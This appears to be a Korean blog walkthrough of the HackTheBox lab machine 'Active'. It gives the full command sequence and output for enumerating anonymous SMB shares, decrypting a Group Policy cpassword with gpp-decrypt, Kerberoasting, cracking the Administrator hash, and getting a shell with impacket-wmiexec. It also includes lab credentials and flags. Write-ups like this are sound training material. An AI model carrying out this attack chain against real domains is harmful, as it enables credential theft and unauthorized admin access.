53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5722/tcp open msdfsr
9389/tcp open adws
47001/tcp open winrm
서버에 열려있는 포트 목록을 보면 컨트롤러라는 생각이 듭니다.
열린 포트에 대해서 자세한 스캔을 해줍니다.
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open tcpwrapped
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open tcpwrapped
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
많은 정보를 얻은 건 아니지만 도메인 정보를 수집할 수 있었습니다.
이렇게 획득한 도메인 정보와 컨트롤러라는 정보를 통해서
DNS 서버와 hosts 파일에 도메인을 추가해줍니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# nxc smb 10.10.10.100 -u '' -p '' --shares
SMB 10.10.10.100 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\:
SMB 10.10.10.100 445 DC [*] Enumerated shares
SMB 10.10.10.100 445 DC Share Permissions Remark
SMB 10.10.10.100 445 DC ----- ----------- ------
SMB 10.10.10.100 445 DC ADMIN$ Remote Admin
SMB 10.10.10.100 445 DC C$ Default share
SMB 10.10.10.100 445 DC IPC$ Remote IPC
SMB 10.10.10.100 445 DC NETLOGON Logon server share
SMB 10.10.10.100 445 DC Replication READ
SMB 10.10.10.100 445 DC SYSVOL Logon server share
SMB 10.10.10.100 445 DC Users
서버의 SMB는 익명 로그인이 가능했고
Replication이라는 쉐어에 대해 읽기 권한이 있었습니다.
근데 이 쉐어에 대해서 마운트를 할 수 있는 권한은 존재하지 않았어서
마운트를 할 수 는 없었습니다.
마운트를 하지 않고 여러 디렉토리를 편하게 보는 방법은
smbmap의 재귀적 디렉토리 열거입니다.
smbmap -H 10.10.10.100 -r Replication --depth 20
뎁스를 20으로 줘서 최대 20개 하위의 경로까지 열거가 가능합니다.
디렉토리를 열거하면 마땅한 정보는 별로 보이지 않는데
Groups.xml이라는 파일이 존재합니다.
포트스캔 디테일 정보를 보면 Windows 환경이 굉장히 오래된 2008 서버라는 것을 알 수 있는데 예전 14년도 이전의 Windows 환경의 경우
CPassword 정보가 AES로 암호화가 되었으며
암호화에 사용된 키는 MS에서 공개적으로 공개를 했습니다.
그 덕분에 gpp-decrypt 라는 도구를 사용해서
사실상 인코딩과 다를바없는 암호화를 구사했기에
우리는 이곳에 하드코딩 되어있을 암호화된 패스워드를 복화하가 가능합니다.
이 취약점은 MS14-025 를 이용한 공격입니다.
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
Groups.xml파일을 로컬로 가져온 뒤에 읽어보면
cpassword정보가 하드코딩 되어있고
gpp-decrypt 도구를 사용해서 이를 복호화해줍니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
GPPstillStandingStrong2k18
복호화된 패스워드는 GPPstillStandingStrong2k18 입니다.
유저 이름은 svc_tgs였으므로 획득한 계정 정보는
svc_tgs : GPPstillStandingStrong2k18
┌──(root㉿kali)-[~/Pentest/Machine]
└─# nxc smb 10.10.10.100 -u svc_tgs -p GPPstillStandingStrong2k18 --shares
SMB 10.10.10.100 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\svc_tgs:GPPstillStandingStrong2k18
SMB 10.10.10.100 445 DC [*] Enumerated shares
SMB 10.10.10.100 445 DC Share Permissions Remark
SMB 10.10.10.100 445 DC ----- ----------- ------
SMB 10.10.10.100 445 DC ADMIN$ Remote Admin
SMB 10.10.10.100 445 DC C$ Default share
SMB 10.10.10.100 445 DC IPC$ Remote IPC
SMB 10.10.10.100 445 DC NETLOGON READ Logon server share
SMB 10.10.10.100 445 DC Replication READ
SMB 10.10.10.100 445 DC SYSVOL READ Logon server share
SMB 10.10.10.100 445 DC Users READ
이 정보로 smb에 접속을 해보니 이번엔 Users라는 쉐어에 대해서
읽기 권한이 존재했습니다.
이번에는 계정정보가 존재했기 때문에 마운트를 해서 확인하겠습니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# mount -t cifs //10.10.10.100/Users /mnt/smbshare -o username=SVC_TGS
Password for SVC_TGS@//10.10.10.100/Users:
그러나 경로를 확인해보면 막상 얻을 수 있는 정보는 유저 플래그 외에는
별로 없어보입니다.
┌──(root㉿kali)-[/mnt/smbshare]
└─# find . -type f 2>/dev/null
./Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/desktop.ini
./Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/Server Manager.lnk
./Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/Shows Desktop.lnk
./Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/Window Switcher.lnk
./Default/AppData/Roaming/Microsoft/Windows/SendTo/Compressed (zipped) Folder.ZFSendToTarget
./Default/AppData/Roaming/Microsoft/Windows/SendTo/Desktop (create shortcut).DeskLink
./Default/AppData/Roaming/Microsoft/Windows/SendTo/Desktop.ini
./Default/AppData/Roaming/Microsoft/Windows/SendTo/Mail Recipient.MAPIMail
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Accessibility/Desktop.ini
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Accessibility/Ease of Access.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Accessibility/Magnify.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Accessibility/Narrator.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Accessibility/On-Screen Keyboard.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Command Prompt.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Desktop.ini
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Notepad.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Run.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/System Tools/computer.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/System Tools/Control Panel.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/System Tools/Desktop.ini
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Windows Explorer.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Maintenance/Desktop.ini
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Maintenance/Help.lnk
./Default/NTUSER.DAT
./Default/NTUSER.DAT.LOG
./Default/NTUSER.DAT.LOG1
./Default/NTUSER.DAT.LOG2
./Default/NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
./Default/NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms
./Default/NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms
./desktop.ini
./SVC_TGS/Desktop/user.txt
유저 플래그 획득
┌──(root㉿kali)-[/mnt/smbshare]
└─# cat SVC_TGS/Desktop/user.txt
40689e9b5903f16f58e0ff12c09477f4
이제 이 정보를 토대로 AD 내의 취약점이 존재하는지
블러드하운드를 통해서 알아보겠습니다.
bloodhound-python -u svc_tgs -p GPPstillStandingStrong2k18 -c All --zip -ns 10.10.10.100 -d active.htb
하지만 블러드하운드에서 AD에 대한 정보를 확인해보니
SVC_TGS에 대해서 아웃바운드 오브젝트는 존재하지 않았습니다.
따라서 다른 정보를 통해서 권한상승을 이뤄야 하는데
일단 계정정보를 확보했으니 커버로스팅 공격이 가능한지 테스트 해봅니다.
crackmapexec ldap 10.10.10.100 -u svc_tgs -p GPPstillStandingStrong2k18 --kerberoasting res.txt
crackmapexec를 통해서 커버로스팅 공격을 해봤는데 오류가 발생합니다.
이럴 경우에는 해당 도메인 컨트롤러와 시간이 안 맞기 때문에
발생하는 오류여서 시간을 컨트롤러에 맞춰줍니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# timedatectl set-ntp off
┌──(root㉿kali)-[~/Pentest/Machine]
└─# ntpdate 10.10.10.100
ntpdig: no eligible servers
그러면 이렇게 해쉬화된 정보들이 덤핑됩니다.
현재 Administrator 계정으로 활성화된 서비스가 존재해서
이 계정의 패스워드가 취약하다면 해쉬크래킹이 될 것 같네요
출력된 res.txt 파일을 존더리퍼로 해쉬크래킹 해줍니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt res.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:05 DONE (2024-10-29 22:13) 0.1834g/s 1933Kp/s 1933Kc/s 1933KC/s TinyMutt69..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Administrator 계정의 패스워드 크래킹이 성공했습니다.
winrm은 서버에서 활성화 되어있지 않으니
impacket의 wmiexec를 사용해서 로그인이 되는지 테스트 해보겠습니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-wmiexec 'active.htb/Administrator@10.10.10.100'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
Password:
[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
active\administrator
어드민 계정으로 로그인에 성공합니다.
이제 루트 플래그를 확인해줍니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-wmiexec 'active.htb/Administrator@10.10.10.100'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
Password:
[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>more C:\Users\Administrator\Desktop\root.txt
cfe726b07e5184ff73c6fb55cad6ab6f
[HackTheBox] Blackfield (1) | 2024.10.30 |
---|---|
[HackTheBox] Search (1) | 2024.10.30 |
[HackTheBox] Sauna (1) | 2024.10.29 |
[HackTheBox] Return (2) | 2024.10.17 |
[HackTheBox] Sightless (0) | 2024.10.16 |